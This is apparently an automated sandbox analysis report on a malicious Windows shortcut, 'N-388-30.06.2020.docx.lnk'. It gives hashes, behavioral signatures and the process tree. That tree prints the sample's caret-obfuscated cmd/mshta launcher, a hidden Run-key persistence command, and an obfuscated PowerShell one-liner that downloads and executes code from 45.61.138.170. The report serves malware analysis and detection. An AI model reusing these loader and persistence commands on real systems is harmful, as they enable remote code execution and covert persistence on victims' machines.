Analysis
-
max time kernel
140s -
max time network
134s -
platform
windows10_x64 -
resource
win10v200430 -
submitted
16/07/2020, 18:52
Static task
static1
Behavioral task
behavioral1
Sample
N-388-30.06.2020.docx.lnk
Resource
win7
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
N-388-30.06.2020.docx.lnk
Resource
win10v200430
windows10_x64
0 signatures
0 seconds
General
-
Target
N-388-30.06.2020.docx.lnk
-
Size
60KB
-
MD5
7b5f028144aa35afdf9f4835fa5432b8
-
SHA1
8bf59baf6a003c279e95540bfb92149f6f0ba668
-
SHA256
35bc847e8a2ac7ccb75850cf69db5a47c245ed2a4dc5e98283dfd8f7f9df59e1
-
SHA512
2dd8bf9ab657252f86de10126f4533a3fd0053f8adb6abb2e62d30aebd9fb257d036442f3383bde2ff9fac410f2613a4caccb57fd0ff04dc8c22d164a4ed9ead
Score
8/10
Malware Config
Signatures
-
Suspicious use of SetWindowsHookEx 10 IoCs
pid Process 2120 WINWORD.EXE 2120 WINWORD.EXE 2120 WINWORD.EXE 2120 WINWORD.EXE 2120 WINWORD.EXE 2120 WINWORD.EXE 2120 WINWORD.EXE 2120 WINWORD.EXE 2120 WINWORD.EXE 2120 WINWORD.EXE -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000_Classes\Local Settings mshta.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeDebugPrivilege 2704 powershell.exe Token: SeIncreaseQuotaPrivilege 2704 powershell.exe Token: SeSecurityPrivilege 2704 powershell.exe Token: SeTakeOwnershipPrivilege 2704 powershell.exe Token: SeLoadDriverPrivilege 2704 powershell.exe Token: SeSystemProfilePrivilege 2704 powershell.exe Token: SeSystemtimePrivilege 2704 powershell.exe Token: SeProfSingleProcessPrivilege 2704 powershell.exe Token: SeIncBasePriorityPrivilege 2704 powershell.exe Token: SeCreatePagefilePrivilege 2704 powershell.exe Token: SeBackupPrivilege 2704 powershell.exe Token: SeRestorePrivilege 2704 powershell.exe Token: SeShutdownPrivilege 2704 powershell.exe Token: SeDebugPrivilege 2704 powershell.exe Token: SeSystemEnvironmentPrivilege 2704 powershell.exe Token: SeRemoteShutdownPrivilege 2704 powershell.exe Token: SeUndockPrivilege 2704 powershell.exe Token: SeManageVolumePrivilege 2704 powershell.exe Token: 33 2704 powershell.exe Token: 34 2704 powershell.exe Token: 35 2704 powershell.exe Token: 36 2704 powershell.exe Token: SeIncreaseQuotaPrivilege 2704 powershell.exe Token: SeSecurityPrivilege 2704 powershell.exe Token: SeTakeOwnershipPrivilege 2704 powershell.exe Token: SeLoadDriverPrivilege 2704 powershell.exe Token: SeSystemProfilePrivilege 2704 powershell.exe Token: SeSystemtimePrivilege 2704 powershell.exe Token: SeProfSingleProcessPrivilege 2704 powershell.exe Token: SeIncBasePriorityPrivilege 2704 powershell.exe Token: SeCreatePagefilePrivilege 2704 powershell.exe Token: SeBackupPrivilege 2704 powershell.exe Token: SeRestorePrivilege 2704 powershell.exe Token: SeShutdownPrivilege 2704 powershell.exe Token: SeDebugPrivilege 2704 powershell.exe Token: SeSystemEnvironmentPrivilege 2704 powershell.exe Token: SeRemoteShutdownPrivilege 2704 powershell.exe Token: SeUndockPrivilege 2704 powershell.exe Token: SeManageVolumePrivilege 2704 powershell.exe Token: 33 2704 powershell.exe Token: 34 2704 powershell.exe Token: 35 2704 powershell.exe Token: 36 2704 powershell.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 2704 powershell.exe 2704 powershell.exe 2704 powershell.exe -
Blacklisted process makes network request 1 IoCs
flow pid Process 6 2704 powershell.exe -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 2120 WINWORD.EXE 2120 WINWORD.EXE -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Windows\CurrentVersion\Run\l8vpt3u2 = "cmd /c power^shell -windowstyle hidden -nop -c \"Get-Content -Raw ''C:\\Users\\Admin\\AppData\\Roaming\\l8vpt3u2.ini'' | iex \"" powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1612 wrote to memory of 1784 1612 cmd.exe 69 PID 1612 wrote to memory of 1784 1612 cmd.exe 69 PID 1784 wrote to memory of 1816 1784 cmd.exe 70 PID 1784 wrote to memory of 1816 1784 cmd.exe 70 PID 1816 wrote to memory of 2120 1816 mshta.exe 71 PID 1816 wrote to memory of 2120 1816 mshta.exe 71 PID 1816 wrote to memory of 2704 1816 mshta.exe 73 PID 1816 wrote to memory of 2704 1816 mshta.exe 73 -
Deletes itself 1 IoCs
pid Process 1816 mshta.exe
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\N-388-30.06.2020.docx.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:1612 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /v /c set m=m^s^h^ta && set a=N-388-^30.06.^2020.^docx.l^nk && if exist "!cd!\!a!" (!m! "!cd!\!a!") else (!m! "!temp!\Temp1_За^прос.z^ip\!a!")2⤵
- Suspicious use of WriteProcessMemory
PID:1784 -
C:\Windows\system32\mshta.exemshta "C:\Users\Admin\AppData\Local\Temp\N-388-30.06.2020.docx.lnk "3⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
- Deletes itself
PID:1816 -
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\N-388-30.06.2020.docx" /o ""4⤵
- Suspicious use of SetWindowsHookEx
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
PID:2120
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -c while(!(.("""{0}{1}{2}"""-f ("""{1}{0}""" -f 'st-','Te'),("""{2}{1}{0}""" -f 'ec','onn','C'),("""{1}{0}"""-f'n','tio')) ("""{1}{2}{0}""" -f ("""{0}{1}"""-f("""{1}{0}"""-f'.c','le'),'om'),'g','oog') -q)) {&("""{1}{2}{0}{3}""" -f ("""{0}{1}""" -f("""{0}{1}""" -f 'a','rt-'),'Sl'),'S','t','eep') -s 5} .("""{1}{0}""" -f'ex','i')(.("""{2}{1}{0}""" -f't',("""{1}{0}"""-f 'jec','Ob'),("""{0}{1}""" -f'Ne','w-')) ("""{0}{4}{1}{2}{3}"""-f ("""{1}{0}""" -f 'W',("""{0}{1}"""-f 'Net','.')),'C','li','ent','eb')).("""{3}{4}{1}{2}{0}"""-f'ing',("""{1}{0}"""-f'lo','wn'),("""{1}{0}""" -f 'Str','ad'),'D','o')."""In`Vo`kE"""(("""http://45.61.138.170/decide.php"""))4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Adds Run key to start application
PID:2704
-
-
-